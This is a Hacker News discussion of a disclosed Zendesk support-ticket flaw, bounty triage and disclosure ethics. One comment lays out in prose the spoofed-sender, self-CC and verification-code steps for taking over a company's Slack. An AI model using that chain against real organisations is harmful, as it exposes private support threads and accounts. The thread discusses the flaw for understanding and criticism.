| What's the point of having a security team that can't
| directly link external experience to their own system?
| Learning the same mistakes that have already been known?
| mmsc wrote:
| >Without a broader PoC to show how it could be
| weaponized, it's hard to say that Zendesk was egregiously
| wrong here
|
| The implications of being able to read arbitrary email
| contents from arbitrary domains' support (or otherwise)
| addresses are well known, and any competent security
| personnel in ZenDesk's security team should know this is
| exactly what can happen.
|
| Something similar has been discussed on HN before:
| https://news.ycombinator.com/item?id=38720544 but the
| overall attack vector of "get registration email send to
| somewhere an attacker can view it" is not novel at all;
| it's also how some police database websites have been
| popped in the past (register as @fbi.gov which
| automatically gives you access; somehow access the inbox
| of @fbi.gov due to some public forwarding, for example)
| dgoldstein0 wrote:
| I agree it's bad, but you are assuming a lot of
| institutional memory which may not exist
| mmsc wrote:
| Yes, I expect a security engineer to hold knowledge.
| That's why they have a job, instead of replacing the
| security them with an LLM. If nobody in the team has that
| experience, it speaks exactly to the issue that has been
| outlined in the OP: not enough knowledge of security
| issues beyond the basics.
| supsep2 wrote:
| HackerOne is an awful company with a terrible product. Not
| the first time I've heard of their triage process or
| software getting in the way of actual bug bounty.
| mmsc wrote:
| They all are. Bugcrowd once told me that, "yes, it's not
| a security issue or even a bug, but we recommend
| providing small (100EUR) rewards for non-bugs to keep
| researchers engaged!"
| portaouflop wrote:
| Everything is bad sounds like a defeatist stance. Fact is
| they are better than triaging everything yourself and
| also better than outright ignoring all vuln reports.
|
| It's an imperfect system I agree - but it's the best we
| have
| bornfreddy wrote:
| My only experience with them was when I found a pretty
| serious security bug and noticed the company in question
| had a bounty with them. Opened an account on H1, reported
| the bug, got "not a serious issue", promptly closed the
| H1 account. If the company is incompetent or relying on
| an incompetent 3rd party bug bounty service provider, I
| won't deal with them. I don't need this in my life.
|
| The company did fix the issue a few months later, so
| there's that.
| mozman wrote:
| I use a competitor to HackerOne. I view all submissions
| pre-triage and would have taken it seriously, even if I
| made a mistake in program scope. I have paid researchers
| for bugs out of scope before because they were right.
| portaouflop wrote:
| You can also view all submissions in h1 pre triage. This
| was incompetence on both h1 and zendesk as gp stated not
| a limitation of the platform per se.
| mozman wrote:
| Sure, that's why I am not naming a competitor. Security
| leadership is the biggest wildcard. I always want to do
| the right thing. Not everyone does.
| wil421 wrote:
| "2) seen as a cheaper alternative to someone who knows
| anything about security - "why hire someone that actually
| knows anything about security when we can just pay a pittance
| to strangers and believe every word they say?""
|
| It doesn't make sense, companies with less revenue aren't the
| ones doing this. It's usually the richer tech companies.
| mmsc wrote:
| >It doesn't make sense, companies with less revenue aren't
| the ones doing this. It's usually the richer tech
| companies.
|
| Because for some reason, it's larger tech companies that
| love to bean-count their way through security.
| ozim wrote:
| It is also larger tech companies that have basically
| infinite attack surface.
|
| So my argument is that it does not matter how much they
| spend on security they will get hacked anyway, only thing
| they can do is keep spending in check and limit scope of
| hacks.
| kozikow wrote:
| > A $1.3 billion revenue company being too tight to pay this
| after all, even on their 2nd chance, is so short-sighted it's
| absurd.
|
| I'll give an "another side" perspective. My company was much
| smaller. Out of 10+ "I found a vulnerability" emails I got last
| year, all were something like mass-produced emails generated
| based on an automated vulnerability scanning tool.
|
| Investigating all of those for "is it really an issue" is more
| work than it seems. For many companies looking to improve
| security, there are higher ROI things to do than investigating
| all of those emails.
| DaiPlusPlus wrote:
| We have a policy to never acknowledge unsolicited emails like
| that _unless_ they follow the simple instructions set-out in
| our /.well-known/security.txt file (see
| https://en.wikipedia.org/wiki/Security.txt) - honestly all
| they have to do is put "I put a banana in my fridge" as the
| message subject (or use PGP/GPG/SMIME) and it'll be instantly
| prioritised.
|
| The logic being that any actual security-researcher with even
| minimal levels of competency will know to check the
| security.txt file and can follow basic instructions; while if
| any of our actual (paying) users find a security issue then
| they'll go through our internal ticket site and not public
| e-mail anyway - so all that's left are low-effort vuln-
| scanner reports - and it's always the same non-issues like
| clickjacking (but only when using IE9 for some reason, even
| though it's 2024 now...) or people who think their browser's
| Web Inspector is a "hacking tool" that allows anyone to edit
| any data in our system...
|
| And FWIW, I've never received a genuine security issue report
| with an admission of kitchen refrigeration of fruit in the 18
| months we've had a security.txt file - it's almost as-if
| qualified competent professionals don't operate like an
| embarrassingly pathetic shakedown.
| hmottestad wrote:
| I saw a great presentation from Finn.no on their bug bounty
| program. They had had great success, despite the amount of
| work it took. Much more so than the three different
| security companies they hired each year to find
| vulnerabilities.
|
| They also had a security.txt file and had received several
| emails through that, but all of it was spam. Ironically
| they had received more real security vulnerabilities
| through people contacting them on LinkedIn than through
| their security.txt file.
|
| Your milage may vary, but it didn't seem like the
| security.txt file was read by the people one would hope
| would read it.
| to11mtm wrote:
| https://www.sqlite.org/cves.html provides an interesting
| perspective. While they thankfully already have a pretty low
| surface area from overall design/purpose/etc, You can see a
| decent number of vulns reported that are either 'not their
| fault' (i.e. wrappers/consumers) or are close enough to the
| other side of the airtight hatchway (oh, you had access to
| the database file to modify it in a malicious way, and
| modified it in a malicious way)[0]
|
| [0] - https://sqlite.org/forum/forumpost/53de8864ba114bf6
| maeil wrote:
| I understand, this is exactly why I noted "even on their 2nd
| chance". The initial lack of payout/meaningful response was
| incompetency by not understanding the severity of the vuln.
| Fine, happens.
|
| But _after_ the PoC that showed the severity in a way that
| anyone could understand, they still didn 't pay. That's the
| issue. The whole investigation was done for them.
| whstl wrote:
| We also had this problem in my previous company a few years
| ago, a 20-people company, but somehow we attracted much more
| attention.
|
| In one specific instance, we had 20 emails in a single month
| about a specific Wordpress PHP endpoint that had a
| vulnerability, in a separate market site in another domain.
| The thing is, it had already been replaced by our Wordpress
| contractor as part of the default install, but it was
| returning 200.
|
| But being a static page didn't stop the people running
| scanners from asking us from money even after they were
| informed of the above.
|
| The solution? Delete it altogether to return 404.
| bsbsjsusj wrote:
| Keep it as 200, then any reports you get about it can be
| added to a block list.
| whstl wrote:
| That's a much better idea than what we did. A honey pot
| for bug bounties!
| jejeyyy77 wrote:
| it never made sense to me why these white-hat hackers don't
| require payment before disclosing the vulnerability
| tptacek wrote:
| Bug bounty people do this all the time. It's almost always a
| sign that your bug is something silly, like DKIM.
|
| _Later_
|
| I wrote this comment before rereading the original post and
| realizing that they had literally submitted a DKIM report
| (albeit a rare instance of a meaningful one). Just to be
| clear: in my original comment, I did not mean to suggest this
| bug was silly; only that in the world of security bug
| bounties, DKIM reports are universally viewed as silly.
| deadliftdouche wrote:
| Nice writeup and fuck Zendesk, this could have done so much
| damage.
| zer0x4d wrote:
| We don't know if it hasn't to be honest. State actors and
| exploit sellers could have known about this bug for years and
| exploited it before it was found by this white hat
| segmondy wrote:
| Once I started reading the post, I said to myself, Deja vu.
| chc4 wrote:
| Years ago I had a similar train of thought: Zendesk is used by a
| ton of companies for their support site, and back then HTTPOnly
| cookies and javascript site isolation were much less of a thing.
| I found an XSS bug on Zendesk, which also translates into XSS on
| any site that used it as `support.fortune500.com` subdomain
| (which was a lot). You could then use it to exploit the main
| site, either by leaking user cookies or reading CSRF tokens from
| page contents because it was a subdomain.
|
| Zendesk gave me a tshirt but not any money for it. C'est la vie.
| Thorrez wrote:
| >reading CSRF tokens from page contents because it was a
| subdomain.
|
| Huh? I don't think you can read page contents unless the origin
| matches exactly (scheme://host:port).
| sova wrote:
| Zendesk pay the man. He disclosed only after you waved it off as
| a nonthreat. Pay. The. Man.
| Aachen wrote:
| Not even really 'disclosing' but just reporting to affected
| parties that they've got a problem
|
| That this hurts Zendesk is too bad, it's still the morally
| correct thing to do and Zendesk probably understands that, too
| bsuvc wrote:
| Another example of how weasley Zendesk can be:
|
| They created a fake band called "Zendesk Alternative" just in an
| attempt to pollute the Google results if you search for an
| alternative to Zendesk.
|
| http://zendeskalternative.com/
|
| While not illegal, it shows the way they think, a sort of
| manipulative pettiness.
| realusername wrote:
| Interesting technique but on my side I see it at the very
| bottom of the second page of Google so I don't think it's very
| effective.
| ec109685 wrote:
| It's from 2016, so probably lost its mojo.
| codetrotter wrote:
| They need to get the band back together! Release a new
| album, and go on a world wide reunion tour. And in 2026
| they've got to release a Best of Zendesk Alternative
| remastered album.
|
| And in 2027, Zendesk finds that the strategy worked. A
| little _too_ well! Now the top search result for Zendesk is
| the rock band, and if you ask an AI about Zendesk, the AI
| starts yappin about a rock band too! Hahaha
| patcon wrote:
| Aaaaaahhh I am on a rollercoaster of customer experience. I am
| beyond annoyed at Zendesk for stiffing this kid, but actually
| kinda charmed by this quirky marketing gimmick.
|
| But also, SECURITY culture concerns beat culture culture.
| Companies should def consider ditching them for this lapse and
| their poor form in making it right.
|
| If Zendesk is smart, they should hop on this thread and pay
| this kid out while everyone is still paying attention in one
| place, rather than later, when everyone is quietly making
| business decisions in a thousand little alcoves of the
| internet.
|
| Otherwise, this is the best thing to happen to the Zendesk
| Alternatives in a long time
| talldayo wrote:
| > but actually kinda charmed by this quirky marketing
| gimmick.
|
| Calling yourself 'charmed' by an insecurity-driven marketing
| shtick that denies rational competition is certainly one
| reaction.
|
| "The book burning was abhorrent, in principle. But the lights
| were so calm and the fire was so warm... I was actually kinda
| charmed!"
| givemeethekeys wrote:
| Yeah, and free backstage passes to the next Zendesk
| Alternternative concert! /s
| bryanrasmussen wrote:
| >but actually kinda charmed by this quirky marketing gimmick.
|
| I'm actually pretty annoyed at the stupidity, it's the kind
| of thing that even a shitty search engine won't be fooled by
| and hey when I search for Zendesk alternatives I don't see
| any brand called Zendesk alternative in first few results.
|
| I mean it's like they're too stupid to do what every other
| weaselly scumbag does, get some fake reviews up comparing
| your brand to alternatives with the reviews carefully
| weighted so your target customer base will be uh, I guess
| Zendesk is really what we want then.
|
| Or at least buy an ad words for the search - with the words
| Zendesk - There is No Alternative showing up before all the
| alternatives.
|
| It's ok Zendesk if you use my clever slogan because you can't
| think of one on your own - I'm not expecting you to pay me
| for it.
| tredre3 wrote:
| > it's the kind of thing that even a shitty search engine
| won't be fooled by
|
| Searching `Zendesk alternative` (no s, no quotes):
|
| - Google shows it in the top 5 results.
|
| - Bing shows it on the second page.
|
| - Brave shows it in the middle of the first page.
|
| - DDG doesn't show it.
|
| - Yahoo shows it on page 3
|
| - Yandex doesn't show it
| bryanrasmussen wrote:
| OK google for me doesn't show it, as mentioned, problem
| with Google is it is difficult to see how your profile is
| skewing the algorithm, although I also suppose our
| talking about it here is page ranking it higher.
| paulddraper wrote:
| > wouldn't be fooled
|
| So no harm, no foul, right?
| bryanrasmussen wrote:
| right, but my argument is no harm then stupidity.
| shepherdjerred wrote:
| This has strong Nathan for You vibes
| Jerrrrrrry wrote:
| Google Sliding - Prince Andrew kinda blew the "subtly" of it
| with his banger about pizza-human trafficking.
| MichaelZuo wrote:
| That is pretty bizarre.
|
| Edit: Why don't they seem to value their credibility?
| mtlynch wrote:
| I think that's pretty funny and not particularly malevolent.
| It's a fake alt rock band called Zendesk. It's obviously
| tongue-in-cheek and not going to deceive anyone.
|
| Also, anytime I search for "X alternative" the results are all
| AI-generated garbage anyway, so I'd welcome something quirky
| and original like this in my results.
| IAmGraydon wrote:
| > It's obviously tongue-in-cheek and not going to deceive
| anyone.
|
| Yes, that's it. They paid their marketing team to do this to
| be funny.
| mtlynch wrote:
| It seems like you're being sarcastic, but I think that's
| really what happened. I think it's much more about getting
| press for doing something funny than it is about having a
| meaningful impact on cluttering search results.
|
| It's the same reason why Google paid its marketing team to
| make a promo for Gmail Blue (back in 2013 when Google was
| still doing legitimately funny fake promos):
|
| https://www.gmail.com/mail/help/intl/en/promos/blue/
| BhavdeepSethi wrote:
| The entire keyword buying SEM operates that way too right? At
| least they call it out as Sponsored results though.
| achairapart wrote:
| Also noted that the song (or "lyrics" at least) has "Open
| Source" in its title so they can position for the "Zendesk Open
| Source Alternative" long tail.
|
| That's evil!
| andai wrote:
| Black hat SEO.
| hackernewds wrote:
| > they have toured the world, headlining major festivals and
| sharing the stage with legendary acts like Sweater Head,
| DynoPlax, and The Banana Nuts. Now, Zendesk Alternative has
| begun a new chapter in their storied career. They have joined
| forces with Zendesk(r) to record an anthemic concept album of
| epic proportions. On the surface, it's a collection of songs
| about customer service. Underneath, it's about so much more.
| Finally, Zendesk Alternative and Zendesk(r) the customer
| service software company are together at last.
|
| that is hilarious, but also the most non punk rock thing I've
| ever read. if Apple did it, every one here would be fawning
| over how genius of a move it were
| appendix-rock wrote:
| No they wouldn't. You just dislike Apple.
| dewey wrote:
| That sounds more like an April Fool's Day joke than something
| malicious. These were still fun sometimes back in the days
| (2016).
|
| I wouldn't read too much into this because one unmaintained old
| website will not going to make or break the SEO game of others.
| lathiat wrote:
| I love the old school logos for Twitter, MySpace, Facebook,
| etc in the footer.
|
| Takes me back to a more innocent time of the Internet.
| josu wrote:
| I have a similar conspiracy theory for DDG, the rapper. I used
| to go to DuckDuckGo by typing "ddg" in Google. Now, it's all
| mentions to DDG the rapper.
| tiffanyh wrote:
| https://duck.com works.
|
| Ironically, the domain was given to DDG from Google.
| therein wrote:
| Here is a gift, let's make your brand less searchable.
| codetrotter wrote:
| https://ddg.co works as well.
| mkl wrote:
| ddg.gg will take you straight there and is just as quick to
| type (of course, it's simpler to set it as default).
| Elinvynia wrote:
| To be fair, his name is Darryl Dwayne Granberry
| jeanlucas wrote:
| > It might make you nervous, but this is our purpose.
|
| I love the self report :^)
| otteromkram wrote:
| https://zendeskcompetitor.com is still available.
| bravura wrote:
| Zendesk Competitor. That's actually the name of my AI-
| generated death metal band.
| sangnoir wrote:
| > While not illegal, it shows the way they think, a sort of
| manipulative pettiness
|
| Search engine chaff has been in the toolbag of "reputation
| management" PR firms for a while. Boris Johnson (former UK PM)
| deployed it many years ago to drown out a viral picture of him
| in front of a red bus bearing an ad he no longer wanted to
| associated with, so he was coached to tell an interviewer he
| has a hobby of painting model buses red.
| OptionOfT wrote:
| In general it has become acceptable to create fake pages to get
| traffic to your website. E.g. this like:
| https://instatus.com/blog/best-open-source-status-page-servi...
| the 0th entry is taken by the service itself, and they're not
| open source...
| junto wrote:
| I help corporates evaluate and buy software. Having an
| ineffective bug bounty program, especially one that rewards black
| market activity on a terms & conditions technicality like this,
| is enough for me to put a black mark on your software services.
|
| I don't care if you're the only company in the market, I'll still
| blackball you for this in my recommendations.
|
| Zendesk should pay up, apologize and correct their bug bounty
| program. After doing so, they should kindly ask the finder to add
| an update to this post, because otherwise it will follow them
| around like dogshit under their shoe.
| exceptione wrote:
| Yes, I think bounties in this class and with this impact should
| at least be six figures.
|
| If a company loses 120 million a year to security bounties,
| they will take into account the cost of scrumming/rapid widget
| delivery.
| moritonal wrote:
| Would love to see the parts of the market where you've marked
| off every current option, given each would represent new
| business opportunities.
| xyst wrote:
| Probably any SK company. Bounties are awful and only paid out
| to SK citizens. Everyone else gets a pat on the back for
| being a sucker.
| yieldcrv wrote:
| HackerOne's mediator dropped the ball here
|
| They should absolutely inform a client company of a perceived
| threat, when they agree on the threat
|
| Most of the person's post and responses here are about
| Zendesk's issue, but Zendesk was never informed
|
| for a better PR response, I think now Zendesk could reward this
| after realizing it wouldnt have been disclosed first, _and_
| admonish HackerOne for not informing them and the current
| policies there
| richbell wrote:
| > Most of the person's post and responses here are about
| Zendesk's issue, but Zendesk was never informed
|
| It's not clear whether they were informed. The mediator's
| email says "after consultations with *the team*", which is
| likely referring to Zendesk's security team.
| hmottestad wrote:
| It anyways took Zendesk several months to fix the issue and
| they also didn't acknowledge the author with what should be
| a very sizeable bounty. It's not every day that someone
| tries to warn you about a massive security hole and then
| goes out of their way to warn your clients for you because
| you ignored them.
| daghamm wrote:
| This is pretty common on H1, probably due to the amount of
| crap they receive.
|
| If you are a new user expect your first couple reports to be
| butchered. It seems to me only reports from well known
| hackers gets carefully analysed.
| M4v3R wrote:
| Zendesk was informed. OP specifically said they asked h1 to
| escalate to the company itself and the second email they
| present way from someone from Zendesk, who still rejected
| them, adding that this decision was made "after consulting
| with the team".
| yieldcrv wrote:
| Good catch
| klabb3 wrote:
| I swear I've seen this vuln years ago. I thought it was already
| well known that attacker controlled input for email-bridged
| ticketing systems means attackers can access at least one
| @company.com email.
|
| I thought this was mainly mitigated by invalidating the
| assumption that "only authorized employees can control a company
| email" - it used to be common 5-10 years ago to verify "that
| you're an employee" that way, but I just assumed that kind of
| stopped in favor of whatever SSO/SAML stuff that became popular
| with enterprise.
|
| Is this the same thing? Or a variation?
| mmsc wrote:
| It's a common thing:
| https://www.google.com/search?q=slack+google+saml+vulnerabil...
| RicoElectrico wrote:
| Based on experience of my friend I am inclined to believe that
| Zendesk is full of shit. She's had bad experience with their
| Polish site which she described as cultish employer.
| gavingmiller wrote:
| The piece the author is missing, and why zendesk likely ignored
| this is impact, and it's something I continually see submissions
| lacking. As a researcher, if you can't demonstrate impact of your
| vulnerability, then it looks like just another bug. A public
| program like zendesk is going to be swamped with reports, and
| they're using hackerone triagers to augment that volume. The
| triage system reads through a lot of reports - without clear
| impact, lots of vulnerabilities look like "just another bug".
| Notice that Zendesk took notice once mondev was able to escalate
| to an ATO[1]. That's impact, and that gets noticed!
|
| [1]
| https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b...
| patcon wrote:
| Yes. But respectfully (residual frustration at zendesk might
| make me curt here) if their security triage team can't see how
| dangerous it is for an attacker to get access to an arbitrary
| thread on a their CLIENT's corporate email chains (in this
| world of email logins and SSO), then they have a big lapse in
| security culture, no?
|
| Yes, the researcher could have tee'd himself up better, but
| this says way more about zendesk than it does about the
| 15-year-old researcher.
| 23B1 wrote:
| "If you won't illustrate the impact of our mistake, we aren't
| obligated to listen to you" is peak CYA
| gavingmiller wrote:
| Not even close to the point I was making: If you want to get
| taken seriously, write to audience.
| Aachen wrote:
| The audience of a security contact point (be that Hackerone
| or security@') is a technical person
|
| We add impact demonstrations to a few findings per pentest
| report because our audience is broader: the nontechnical
| people who decide to allocate the money need to understand
| why this is useful and that the devs/sysadmins need to get
| enough time to do things right (developers and sysadmins
| are often sufficiently skilled, but are under delivery
| pressure). A sufficiently technical team, when the bug is
| adequately explained, doesn't need a functional exploit to
| see it's real/impactful or not
| 23B1 wrote:
| "My neighbor said he saw smoke coming from my house, but he
| never said anything about fire!"
| ec109685 wrote:
| The researcher showed how they could hop onto any Zendesk
| support ticket thread with zero authentication, so that should
| have been enough given Zendesk was exposing customer data via
| that attack path.
|
| Clearly Zendesk needs to change things so that the email
| address that is created for a ticket isn't guessable.
| XCabbage wrote:
| Unauthorized read access to private emails you were never
| legitimately CCed on already _is_ impact. It should not be
| necessary to come up with a further exploit daisy chained on
| top of that in order to be taken seriously. (Otherwise why stop
| at Slack access? Why is that automatically "impact" if email
| access isn't?)
| lysp wrote:
| Exactly.
|
| It's possible that some chains could have credentials or
| other sensitive information in ticket chains.
| Aachen wrote:
| Exploit or no, the bug and potential impact are the same. I
| personally find it a waste of time to sink evenings into an
| exploit when they're going to fix the bug anyway if I simply
| tell them about the problem. They also know the system better
| than I do and can probably find a bigger impact anyway
|
| Of course, this is only a good strategy if you're just wanting
| to do a good deed and not counting on getting more than a thank
| you note, but Zendesk or Hackerone (whoever you want to blame
| here) didn't even accept the bug in the first place. That's the
| problem here, not the omission of an exploit chain
| tptacek wrote:
| I think this is (descriptively) correct, but it's a difficult
| point to make in a message board argument because of hindsight
| bias.
| gavingmiller wrote:
| It's a good callout, shouldn't have editorialized like that.
| davedx wrote:
| I don't think it is. Getting arbitrary access to corporate
| support ticket chains seems pretty high impact to me? Isn't
| that a gigantic data breach (also probably a GDPR breach)
| already, before you get to the Slack takeover?
| dclowd9901 wrote:
| The dude demonstrated the ability to infiltrate a client's
| Slack instance via their vulnerability. If that's not enough to
| make the hairs on your neck stand on end as an engineer, go
| fucking do something else.
| oarla wrote:
| The worse part:"We kindly request you keep this report between
| you and Zendesk". After being notified of a problem on their
| side, them ignoring it, now they want to keep things hush hush?
| That's exactly what the author did in the first place, but they
| chose to brush it aside. That itself is highly unprofessional.
| With such an attitude, I'm not surprised that they did not pay
| out the bounty.
| op00to wrote:
| "I will consider not disclosing if you compensate me for my
| time."
| jjmarr wrote:
| You can't ask for money in exchange for not revealing a bug.
| That's blackmail which is illegal and ethically dubious.
|
| White hat hackers do not require companies to pay them in
| exchange for not revealing a bug---the reveal of a bug only
| happens if a company _doesn 't fix_ that bug. Companies can
| be jerks and refuse to pay anything. That doesn't give you
| the right to blackmail them---you and other security
| researchers can just refuse to help them in the future.
|
| A refusal to fix the vulnerability is what happened in the
| original blogpost, so it was fair game for release since the
| company doesn't care.
|
| Hackers that don't care about ethics or legality won't bother
| blackmailing companies with vulnerabilities. They'll sell or
| use the vulnerability to steal more important data, and
| blackmail companies for millions of dollars in crypto.
| op00to wrote:
| Gotcha. The moment you attach a monetary condition it can
| be seen as extortion. In that case I believe the only
| responsible thing to do is disclose using customary,
| reasonable waiting periods.
| tptacek wrote:
| I don't think this is true. I'm not a lawyer and this is
| not legal advice, but I think it's hard to fit the elements
| of an extortion statute to a "threat" to disclose the
| results of technical research work you yourself did.
| Moreover, if a vendor is working with HackerOne, they've
| already implicitly consented to their norm of non-
| disclosure in exchange for payment. Further, in something
| like 15 years of bounty programs, I haven't heard of any
| cases like this having been filed --- and bounty
| researchers threaten to publish all the time.
|
| I also disagree that there's anything ethically dubious
| about it.
| buzer wrote:
| Depends on country as well. There was recently a case in
| Finland where a couple of people found issue in certain
| locks made by Abloy. They were offering to sell the
| details to Abloy and suggested that they could
| alternatively publish them in Youtube. They were found
| guilty for extreme blackmail (I'm not sure if extreme is
| the proper term in English, essentially just more extreme
| form due to e.g. demanding a lot of money). They are
| planning to appeal it so there is chance it will get
| overturned.
| asynchronous wrote:
| To correct you, the revealing of a past bug happens almost
| all the time when a company does fix the bug- that's what
| lets researchers publish their findings and show the work
| they do publicly, and usually gives the company some
| positive PR for showing their willingness and
| responsiveness to fix issues. See the CVE program.
| daghamm wrote:
| The correct procedure when they fuck up and close the report is
| to ask the report to be made public. Had he done this, this
| would have been a non issue.
|
| The reason people don't do this is because they think they have
| something that can be modified into another bug. Which is
| exactly what happened here.
| kachapopopow wrote:
| And this is how whitehats get turned into blackhats and just
| choose to use this information to perform social engineering or
| exploit devices.
| kachapopopow wrote:
| I've seen this go from -2 points to 2 points, now back to 1.
| Interesting how people are so divided on this when people I've
| brought up this topic to all agree that good people often get
| taken advantage off especially in cases like this.
| yapyap wrote:
| Welp, they're basically begging people to sell 0 days to a 3
| letter agency // out of state groups (NSO, etc)
|
| Come on, honor your bug bounty. Especially when it can bite you
| in the ass hard enough to plummet stock prices if a bug of this
| caliber is exploited in the companies you serve
| zx8080 wrote:
| "Too big to pay."
|
| Nothing changes for them even if they ignore one report,
| especially from an unknown researcher.
|
| It exposes pretty sad state of the industry. Who said enterprise?
| mmsc wrote:
| From what I can tell, the vulnerability wasn't even fixed: they
| just.. changed their spam filter? Whatever that means.
|
| So for this to work still, you need to bypass a spam filter.
|
| They should just force DMARC and SPF like Google has done, and
| say "your fault if you misconfigure". Also default-off for the CC
| thing would be a good idea, too, with a warning of what could
| happen if they turn it on. Alternatively making a non-guessable
| id for the email.
| vitus wrote:
| Hey, now you have to bypass two spam filters, and also email
| verification from Apple is now marked as likely-spam. Which
| addresses the very specific Slack infiltration attack, but
| doesn't address the underlying issue.
| layer8 wrote:
| Requiring their customers to implement SPF and DMARC as a hard
| technical requirement is probably bad for business. And as
| mentioned in TFA, they do note issues regarding SPF/DMARC in
| their policy.
| madisp wrote:
| I think in this case it's the customers of their customers,
| e.g. people sending emails to support@acme-corp.com. In that
| light requiring all emails coming into support@acme-corp.com
| to have SPF and DMARC is bad for business indeed, not only
| for Zendesk but probably also for the fictional ACME corp.
|
| EDIT: they absolutley should not use an autoincrementing int
| as a "support-chain token" though, that's a workaround they
| could easily do.
| layer8 wrote:
| I'm not clear on that. If the support requestor doesn't
| need to be from the company, then I don't understand why
| the email sender has to be spoofed in the first place.
| ec109685 wrote:
| The attack requires getting yourself CC'd on a support
| ticket. In this case to show how bad that is, it was a
| support ticket that had an oauth ticket to log into slack
| as "support@company.com".
| layer8 wrote:
| From the description, sending an email to
| support@company.com creates a support ticket, to which
| you can later latch on by adding a Cc. My understandig is
| that, at least in order to get the full history of a
| ticket, including any other emails sent to
| support-$ticket-ID@company.com, the primary sender needs
| to be from the company as well. Otherwise, why would you
| need the Cc hack?
| qilo wrote:
| My understanding is that, the original sender (spoofed
| apple in this case) can send the reply to
| support-$ticket-$id@ with CC field to grant full access
| to the thread for CC'ed email.
| nodamage wrote:
| The email sender needs to be spoofed in order to add the
| CC.
|
| 1. Apple sends a legitimate email with a verification
| code from appleid@id.apple.com to support@company.com,
| creating a ticket in Zendesk.
|
| 2. The attacker then sends an email to support-$ticket-
| ID@company.com from appleid@id.apple.com (spoofed),
| attaching their own email address in the CC field.
|
| 3. Since the attacker is now CC'ed they can read the
| entire history of the ticket including the legitimate
| email Apple sent in (1) containing the verification code.
|
| 4. Now that the attacker has verified ownership of the
| Apple ID with the email address support@company.com they
| can use that Apple ID to login to any service that grants
| domain-based access via Sign in With Apple, such as
| Slack.
| madisp wrote:
| oh, I think you're right! my bad.
| nodamage wrote:
| > EDIT: they absolutley should not use an autoincrementing
| int as a "support-chain token" though, that's a workaround
| they could easily do.
|
| I checked my email archives and some (but not all) of the
| emails I've received from Zendesk have arbitrary
| alphanumeric ids in the Reply-To header instead of
| integers. Seems to depend on the company, perhaps this is a
| configuration issue?
| tasn wrote:
| This is clever hack and a reminder of how a chain of smaller
| security issues (guessable ticket IDs, email spoofing,
| automatically adding emails to tickets, etc.) can lead to larger
| ones.
|
| Zendesk deserve a lot of flack here, especially after they
| already realized this is real. However, just to empathize a bit:
| the amount of spam SPF, DKIM, DMARC "security" reports anyone
| running a service gets is absolutely insane. So it's very easy to
| accidentally misclassify what this reporter originally discovered
| as that by accident.
| twoodfin wrote:
| Slack seems to be getting off too easy here. The security--as
| implemented by Fortune 500 customers??--of an org-wide security
| domain (i.e. what everyone in an org can see) depends on whether
| any of the supported OAuth providers can be tricked into
| provisioning an account with @targetorg.com?
|
| This architecture makes 0 sense to me. Even if an org has totally
| outsourced its identity and auth management to Google (is this
| possible?), presumably that would include controls over how new
| @targetorg.com identities are created on the Google end.
|
| No F500 companies are using Apple as an identity provider since
| they definitely don't sell such services. So why would an F500
| company configure Slack to allow Apple OAuth & introduce this
| vulnerability?
| tryauuum wrote:
| I'm not sure (maybe it's the case only with email auth, not
| oauth). But there's a setting on slack to not automatically
| allow people with your company email address. So the tools are
| there to stop the attack
| autarch wrote:
| I'm pretty sure you can configure your corporate Slack to only
| allow authentication providers you choose. So if you have a
| corporate SSO you can just allow that.
| kbolino wrote:
| If you're using Google for identity and authentication, you can
| definitely control who has an active account in your domain.
| There can be some lag time before disabling or removing someone
| truly disables all their downstream accesses, but that's
| largely outside Google's control. The only way to trick your
| way into getting a corporate domain email address is to
| socially engineer a domain admin.
|
| Tangentially, this does raise one of my big issues with using
| OAuth2 for single-sign-on though, which is that it really
| doesn't address the third-party authorization problem well. Ok,
| you're bob@example.com, Google has verified that, and
| example.com is our domain, so we're letting you into our app
| Foobar. Now what? The scopes you requested were for Google APIs
| only and have nothing to do with Foobar really. So now we need
| to implement an authorization system in Foobar that decides
| what bob@example.com can actually do. This part, and how to do
| it right, gets glossed over (at best!) by discussions on
| OAuth2. It also gets glossed over by product and security when
| they want things "SSO-enabled", which means development time
| doesn't get budgeted for it. Even just using groups to control
| coarse access levels requires integration with provider-
| specific APIs. OAuth2 is great for identity and authentication,
| but far too little attention has been paid to doing
| authorization right.
| pkaeding wrote:
| You can also create a non-email Google account as
| Bob+external@example.com, as long as you can get email sent
| to bob@example.com (ie, while you are employed by Example,
| Inc). Then, you leave your job, but still have a google
| account associated with an example.com email. Depending on
| how the app checks the login response, they might mistakenly
| assume you are part of the example.com org.
| m11a wrote:
| This comment makes the most sense to me in this thread.
|
| Further, IMO, sure it's a bug that one can say they control
| support@company.com. But IMO the real issue is lousy,
| permissive authorisation that gives access to _anything_
| simply by virtue of controlling a @company.com mail. Surely
| some HR /tech person, when an employee is being onboarded,
| should be enabling access to some core systems (probably by
| adding them to a group), and the default state for an account
| with no groups should be no access.
|
| In any large enough organisation, IME there's a lot of ways
| to get a @org.com email, and too many people/systems have the
| ability to create an email than a single centralised IT team.
| Kwpolska wrote:
| > Personally, I've always found it surprising that these massive
| companies, worth billions, rely on third-party tools like Zendesk
| instead of building their own in-house ticketing systems.
|
| Do you find it surprising that they use Microsoft Office too?
| Paying someone else to handle things like this is cheaper than
| paying developers and hosting a service like this.
| npsomaratna wrote:
| I'd give the author a break-he's just 15, after all. I was far
| less savvy at his age.
| zharknado wrote:
| Agreed, I smiled a this line. Good reminder that you don't
| have to be super experienced to have big insights and impact.
|
| And also that being brilliant doesn't magically correlate
| with being knowledgeable.
|
| https://xkcd.com/1053
| aftbit wrote:
| Wait... it looks like Zendesk only fixed the issue of Apple
| account verification emails being added to tickets, not actually
| the underlying issue?
|
| >In addition to this, we also implemented filters to
| automatically suspend the following classes of emails: User
| verification emails sent by Apple based on the Reply-To and
| Message-Id header values Non-transactional emails from from
| googleworkspace-noreply@google.com Over the coming months, we
| will continue to look into opportunities to strengthen our Sender
| Authentication functionality and provide customers with more
| gradual and advanced security controls over the types of emails
| that get suspended or rejected.
|
| So is it still possible to hijack anyone's support tickets using
| the default configuration of Zendesk if you just happen to know
| their email and ticket ID?
| vitus wrote:
| Yeah. Zendesk only put a bandaid in place to prevent this
| particular attack vector for the Slack infiltration attack, and
| did nothing for the initially reported issue.
| layer8 wrote:
| Only the customer domain owners can fix the underlying issue,
| which is a missing SPF/DMARC configuration.
| cjbprime wrote:
| That doesn't sound right. Aren't these @zendesk.com
| addresses?
| layer8 wrote:
| The spoofed addresses were support@company.com, is my
| understanding.
|
| Zendesk is very well aware of SPF/DMARC, from their support
| pages.
